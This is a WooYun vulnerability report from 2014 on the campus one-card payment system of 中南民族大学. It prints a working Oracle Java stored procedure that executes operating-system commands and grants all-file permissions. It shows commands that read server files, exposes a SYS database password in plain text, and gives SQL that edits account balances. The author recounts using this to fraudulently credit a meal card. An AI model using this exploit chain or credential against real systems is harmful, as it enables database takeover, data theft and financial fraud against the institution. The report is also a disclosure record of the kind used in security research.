当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079342

漏洞标题:湖北省中南民族大学一卡通系统BUG第二弹,可获取SYS DBA权限,可非法读取服务器上的任意文件,可利用程序非法充值饭卡余额

相关厂商:中南民族大学

漏洞作者: 路人甲

提交时间:2014-10-14 14:52

修复时间:2014-10-19 14:54

公开时间:2014-10-19 14:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-14: 细节已通知厂商并且等待厂商处理中
2014-10-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://www.wooyun.org/bugs/wooyun-2014-078369
之前这个后续 = =

详细说明:

Oracle没有禁用JAVA扩展,通过之前爆出的iddbuser登陆
执行
create or replace and compile java source named runcmd as
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class RunCmd
{
private static void copyStream(InputStream inputStream, OutputStream outStream,String type) throws IOException {
byte[] bytes = new byte[1024];
int len = 0;
System.out.println("========"+type+"========");
while ( (len = inputStream.read(bytes)) != -1)
{
System.out.println(new String(bytes,0,len));
outStream.write(bytes,0,len);
}
}
public static void exec(String cmd)
{
try {
Process pc = Runtime.getRuntime().exec(cmd);
copyStream(pc.getInputStream(), System.out,"InputStream()");
copyStream(pc.getErrorStream(), System.out,"ErrorStream()");
} catch (IOException e) {
e.printStackTrace();
}
}
};
CREATE OR REPLACE PROCEDURE SP_RUNCMD
(cmd string)
as language java name 'RunCmd.exec(java.lang.String)';
begin
Dbms_Java.Grant_Permission('IDDBUSER', 'java.io.FilePermission', '<<ALL FILE>>', 'read ,write, execute, delete');
dbms_java.grant_permission('IDDBUSER','java.lang.RuntimePermission','*','writeFileDescriptor' );
end;
然后使用sqlplus
set serveroutput on;
call dbms_java.set_output(5000);
exec sp_runcmd('cat /home/oracle/expdp_auto.sh');

7.png


passwd 文件也可以读取

9.png


执行connect sys/xZHONGx2014@ecard as sysdba
select * from school.account where NAME='XXX'
update school.account set PRETMPBALANCE='7000' where NAME='XXX'

3.png


之后使用充值网站充值
这是我的充值记录

2.png


以及我现在的余额

1.png


点击充值后

4.png


5.png


显示充值失败,我的银行卡显示一比交易被支出并且再次收入

8.png


这时再把数据库里的改动改回来,过会后,刚才失败的充值依旧到账了^^

10.png


再次查看订单记录,已支付里没有该项记录,但是未成功里有

11.png

漏洞证明:

6.png


可在执行系统命令,用户权限是oracle

12.png


登陆用户为SYS,sysdba权限

13.png


修复方案:

猜测是程序设计的BUG。数据库里直接改字段是通不过验证的,但是通过这种方法,虽然显示充值失败,但充值订单其实还在,过会通过某种机制同步并刷新后,余额就冲上了。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-19 14:54

厂商回复:

最新状态:

暂无